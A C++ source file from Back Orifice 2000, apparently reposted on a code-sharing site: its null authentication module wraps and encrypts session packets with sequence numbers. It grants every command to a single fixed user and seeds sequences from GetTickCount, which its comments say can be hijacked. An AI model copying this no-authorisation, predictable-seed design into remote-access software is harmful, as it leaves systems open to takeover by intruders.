nullauth.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:10k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // NULL Authentication Module: Is only responsible for encryption of data
  16. // not user authentication. Assumes all users log in as 'r00t'.
  17. #include<windows.h>
  18. #include<winsock.h>
  19. #include<auth.h>
  20. #include<iohandler.h>
  21. #include<nullauth.h>
  22. #include<config.h>
  23. AUTH_HANDLER g_NullAH;
  24. #pragma pack(push,1)
  25. typedef struct {
  26. int nUserId;
  27. DWORD dwSeq;
  28. DWORD dwRemoteSeq;
  29. } NULLAUTH_INTERNAL;
  30. typedef struct {
  31. DWORD dwTag;
  32. DWORD dwSeq;
  33. } SEQ_HDR;
  34. #define AUTH_TAG 0xCDC31337
  35. #define AUTH_TIMEOUT 5000
  36. #pragma pack(pop)
  37. int _cdecl NULLAUTH_Insert(void)
  38. {
  39. return 0;
  40. }
  41. int _cdecl NULLAUTH_Remove(void)
  42. {
  43. return 0;
  44. }
  45. char * _cdecl NULLAUTH_Query(void)
  46. {
  47. return "NULLAUTH: Single User / Encrypt Only";
  48. }
  49. void * _cdecl NULLAUTH_OnListen(CIOSocket *pSock, CEncryptionEngine *pEnc, int nUserId)
  50. {
  51. NULLAUTH_INTERNAL *pNAI=(NULLAUTH_INTERNAL *)malloc(sizeof(NULLAUTH_INTERNAL));
  52. if(pNAI==NULL) return NULL;
  53. pNAI->nUserId=nUserId;
  54. pNAI->dwSeq=0;
  55. pNAI->dwRemoteSeq=0;
  56. return pNAI;
  57. }
  58. static int SequenceEncryptPacket(CEncryptionEngine *pEnc, BYTE *pIn, int nInLen, BYTE **ppOut, int *pnOutLen, SEQ_HDR *pSeq)
  59. {
  60. // Create encrypt buffer
  61. int nSize=nInLen+sizeof(SEQ_HDR);
  62. BYTE *pDum=(BYTE *)malloc(nSize);
  63. if(pDum==NULL) {
  64. *ppOut=NULL;
  65. *pnOutLen=0;
  66. return -1;
  67. }
  68. // Copy data
  69. memcpy(pDum,pSeq,sizeof(SEQ_HDR));
  70. memcpy(pDum+sizeof(SEQ_HDR),pIn,nInLen);
  71. // Encrypt data
  72. BYTE *pData;
  73. int nDataLen;
  74. pData=pEnc->Encrypt(pDum,nSize,&nDataLen);
  75. free(pDum);
  76. if(pData==NULL) return -1;
  77. // Create output buffer
  78. nSize=nDataLen;
  79. pDum=(BYTE *)malloc(nSize);
  80. if(pDum==NULL) {
  81. pEnc->Free(pData);
  82. *ppOut=NULL;
  83. *pnOutLen=0;
  84. return -1;
  85. }
  86. // Copy data
  87. memcpy(pDum,pData,nSize);
  88. pEnc->Free(pData);
  89. // Return data
  90. *ppOut=pDum;
  91. *pnOutLen=nSize;
  92. return 0;
  93. }
  94. static int UnsequenceDecryptPacket(CEncryptionEngine *pEnc, BYTE *pIn, int nInLen, BYTE **ppOut, int *pnOutLen, SEQ_HDR *pSeq)
  95. {
  96. // Decrypt data
  97. BYTE *pDum;
  98. int nSize;
  99. pDum=pEnc->Decrypt(pIn,nInLen,&nSize);
  100. if(pDum==NULL) {
  101. *ppOut=NULL;
  102. *pnOutLen=0;
  103. return -1;
  104. }
  105. if(nSize<sizeof(SEQ_HDR)) {
  106. pEnc->Free(pDum);
  107. *ppOut=NULL;
  108. *pnOutLen=0;
  109. return -1;
  110. }
  111. // Create output buffer
  112. int nDataLen=nSize-sizeof(SEQ_HDR);
  113. BYTE *pData=(BYTE *)malloc(nDataLen);
  114. if(pData==NULL) {
  115. pEnc->Free(pDum);
  116. *ppOut=NULL;
  117. *pnOutLen=0;
  118. return -1;
  119. }
  120. // Copy data
  121. memcpy(pSeq,pDum,sizeof(SEQ_HDR));
  122. memcpy(pData,pDum+sizeof(SEQ_HDR),nDataLen);
  123. pEnc->Free(pDum);
  124. // Return data
  125. *ppOut=pData;
  126. *pnOutLen=nDataLen;
  127. return 0;
  128. }
  129. static void SequenceFreePacket(BYTE *pData)
  130. {
  131. free(pData);
  132. }
  133. void * _cdecl NULLAUTH_OnConnect(CIOSocket *pSock, CEncryptionEngine *pEnc, int nUserId)
  134. {
  135. NULLAUTH_INTERNAL *pNAI=(NULLAUTH_INTERNAL *)malloc(sizeof(NULLAUTH_INTERNAL));
  136. if(pNAI==NULL) return NULL;
  137. // Set up internal data structure
  138. pNAI->nUserId=nUserId;
  139. pNAI->dwSeq=GetTickCount(); // Should be a random number generator. Can be hijacked if the encryption key is known.
  140. // Prepare authentication packet
  141. SEQ_HDR hdr;
  142. hdr.dwTag=AUTH_TAG;
  143. hdr.dwSeq=(pNAI->dwSeq-1);
  144. int nSize=(GetTickCount() & 0xFF); // Attention would-be hackers: Initial packet size is somewhat related to initial sequence number.
  145. BYTE *pDum=(BYTE *)malloc(nSize);
  146. if(pDum==NULL) {
  147. free(pNAI);
  148. return NULL;
  149. }
  150. memset(pDum,69,nSize);
  151. // Sequence and encrypt packet
  152. BYTE *pOut;
  153. int nOutLen;
  154. if(SequenceEncryptPacket(pEnc,pDum,nSize,&pOut,&nOutLen,&hdr)<0) {
  155. free(pDum);
  156. free(pNAI);
  157. return NULL;
  158. }
  159. free(pDum);
  160. // Send initial packet
  161. if(pSock->Send(pOut,nOutLen)<=0) {
  162. SequenceFreePacket(pOut);
  163. free(pNAI);
  164. return NULL;
  165. }
  166. SequenceFreePacket(pOut);
  167. // Wait for authentication handshake
  168. DWORD dwTime=GetTickCount();
  169. while(pSock->Recv(&pDum,&nSize)<=0) {
  170. // Check for operation timeout
  171. if((GetTickCount()-dwTime)>=AUTH_TIMEOUT) {
  172. free(pNAI);
  173. return NULL;
  174. }
  175. }
  176. // Decrypt handshake packet
  177. if(UnsequenceDecryptPacket(pEnc,pDum,nSize,&pOut,&nOutLen,&hdr)<0) {
  178. pSock->Free(pDum);
  179. free(pNAI);
  180. return NULL;
  181. }
  182. pSock->Free(pDum);
  183. SequenceFreePacket(pOut);
  184. // Verify tag and store remote sequence number
  185. if(hdr.dwTag!=AUTH_TAG) {
  186. free(pNAI);
  187. return NULL;
  188. }
  189. pNAI->dwRemoteSeq=hdr.dwSeq+1;
  190. return pNAI;
  191. }
  192. void * _cdecl NULLAUTH_OnAccept(void *pInternal, CIOSocket *pSock, CEncryptionEngine *pEnc)
  193. {
  194. BYTE *pDum,*pOut;
  195. int nSize,nOutLen;
  196. SEQ_HDR hdr;
  197. NULLAUTH_INTERNAL *pNAI=(NULLAUTH_INTERNAL *)pInternal;
  198. NULLAUTH_INTERNAL *pNewNAI=(NULLAUTH_INTERNAL *)malloc(sizeof(NULLAUTH_INTERNAL));
  199. if(pNewNAI==NULL) return NULL;
  200. // Set up internal data structure
  201. pNewNAI->nUserId=pNAI->nUserId;
  202. pNewNAI->dwSeq=GetTickCount(); // Should be a random number generator. Can be hijacked if the encryption key is known.
  203. // Wait for initial packet
  204. DWORD dwTime=GetTickCount();
  205. while(pSock->Recv(&pDum,&nSize)<=0) {
  206. // Check for operation timeout
  207. if((GetTickCount()-dwTime)>=AUTH_TIMEOUT) {
  208. free(pNewNAI);
  209. return NULL;
  210. }
  211. }
  212. // Decrypt handshake packet
  213. if(UnsequenceDecryptPacket(pEnc,pDum,nSize,&pOut,&nOutLen,&hdr)<0) {
  214. pSock->Free(pDum);
  215. free(pNewNAI);
  216. return NULL;
  217. }
  218. pSock->Free(pDum);
  219. SequenceFreePacket(pOut);
  220. // Verify tag and store remote sequence number
  221. if(hdr.dwTag!=AUTH_TAG) {
  222. free(pNewNAI);
  223. return NULL;
  224. }
  225. pNewNAI->dwRemoteSeq=hdr.dwSeq+1;
  226. // Prepare handshake packet
  227. hdr.dwTag=AUTH_TAG;
  228. hdr.dwSeq=(pNewNAI->dwSeq-1);
  229. nSize=(GetTickCount() & 0xFF); // Attention would-be hackers: Initial packet size is somewhat related to initial sequence number.
  230. pDum=(BYTE *)malloc(nSize);
  231. if(pDum==NULL) {
  232. free(pNewNAI);
  233. return NULL;
  234. }
  235. // Sequence and encrypt packet
  236. if(SequenceEncryptPacket(pEnc,pDum,nSize,&pOut,&nOutLen,&hdr)<0) {
  237. free(pDum);
  238. free(pNewNAI);
  239. return NULL;
  240. }
  241. free(pDum);
  242. // Send initial packet
  243. if(pSock->Send(pOut,nOutLen)<=0) {
  244. SequenceFreePacket(pOut);
  245. free(pNewNAI);
  246. return NULL;
  247. }
  248. SequenceFreePacket(pOut);
  249. return pNewNAI;
  250. }
  251. int _cdecl NULLAUTH_GetUserID(void *pInternal)
  252. {
  253. if(pInternal==NULL) return -1;
  254. return ((NULLAUTH_INTERNAL *)pInternal)->nUserId;
  255. }
  256. int _cdecl NULLAUTH_OnClose(void *pInternal)
  257. {
  258. if(pInternal==NULL) return -1;
  259. free(pInternal);
  260. return 0;
  261. }
  262. int _cdecl NULLAUTH_OnRecv(void *pInternal, CEncryptionEngine *pEnc, BYTE *pData, int nDataLen, BYTE **ppInData, int *pnInDataLen)
  263. {
  264. BYTE *pDum;
  265. int nSize;
  266. SEQ_HDR hdr;
  267. NULLAUTH_INTERNAL *pNAI=(NULLAUTH_INTERNAL *)pInternal;
  268. if(ppInData==NULL || pnInDataLen==NULL || pData==NULL) 
  269. return -1;
  270. // This part does decryption and unsequencing
  271. // Decrypt packet
  272. if(UnsequenceDecryptPacket(pEnc,pData,nDataLen,&pDum,&nSize,&hdr)<0) {
  273. *ppInData=NULL;
  274. *pnInDataLen=0;
  275. return -1;
  276. }
  277. // Verify tag and remote sequence number
  278. if((hdr.dwTag!=AUTH_TAG) || (hdr.dwSeq!=pNAI->dwRemoteSeq))  {
  279. SequenceFreePacket(pDum);
  280. *ppInData=NULL;
  281. *pnInDataLen=0;
  282. return -1;
  283. }
  284. // Increment expected sequence number
  285. pNAI->dwRemoteSeq++;
  286. // Return decrypted packet
  287. *ppInData=pDum;
  288. *pnInDataLen=nSize;
  289. return 0;
  290. }
  291. int _cdecl NULLAUTH_OnSend(void *pInternal, CEncryptionEngine *pEnc, BYTE *pData, int nDataLen, BYTE **ppOutData, int *pnOutDataLen)
  292. {
  293. SEQ_HDR hdr;
  294. BYTE *pDum;
  295. int nSize;
  296. NULLAUTH_INTERNAL *pNAI=(NULLAUTH_INTERNAL *)pInternal;
  297. if(ppOutData==NULL || pnOutDataLen==NULL) return -1;
  298. // This part does encryption and sequencing
  299. // Create sequence header
  300. hdr.dwSeq=pNAI->dwSeq;
  301. hdr.dwTag=AUTH_TAG;
  302. // Encrypt packet
  303. if(SequenceEncryptPacket(pEnc,pData,nDataLen,&pDum,&nSize,&hdr)<0) {
  304. *ppOutData=NULL;
  305. *pnOutDataLen=0;
  306. return -1;
  307. }
  308. // Increment sequence number
  309. pNAI->dwSeq++;
  310. // Return encrypted packet
  311. *ppOutData=pDum;
  312. *pnOutDataLen=nSize;
  313. return 0;
  314. }
  315. void _cdecl NULLAUTH_Free(void *pInternal, BYTE *pBuffer)
  316. {
  317. if(pBuffer==NULL) return;
  318. SequenceFreePacket(pBuffer);
  319. }
  320. // Returns true if the user can execute said command.
  321. // Returns false if the user doesn't have priveleges.
  322. BOOL _cdecl NULLAUTH_ValidateCommand(int nUserId, int nCommand)
  323. {
  324. return TRUE;
  325. }
  326. AUTH_HANDLER *GetNullAuthHandler(void)
  327. {
  328. g_NullAH.pInsert=NULLAUTH_Insert;
  329. g_NullAH.pRemove=NULLAUTH_Remove;
  330. g_NullAH.pQuery=NULLAUTH_Query;
  331. g_NullAH.pOnListen=NULLAUTH_OnListen;
  332. g_NullAH.pOnConnect=NULLAUTH_OnConnect;
  333. g_NullAH.pOnAccept=NULLAUTH_OnAccept;
  334. g_NullAH.pGetUserID=NULLAUTH_GetUserID;
  335. g_NullAH.pOnClose=NULLAUTH_OnClose;
  336. g_NullAH.pOnRecv=NULLAUTH_OnRecv;
  337. g_NullAH.pOnSend=NULLAUTH_OnSend;
  338. g_NullAH.pFree=NULLAUTH_Free;
  339. g_NullAH.pValidateCommand=NULLAUTH_ValidateCommand;
  340. return &g_NullAH;
  341. }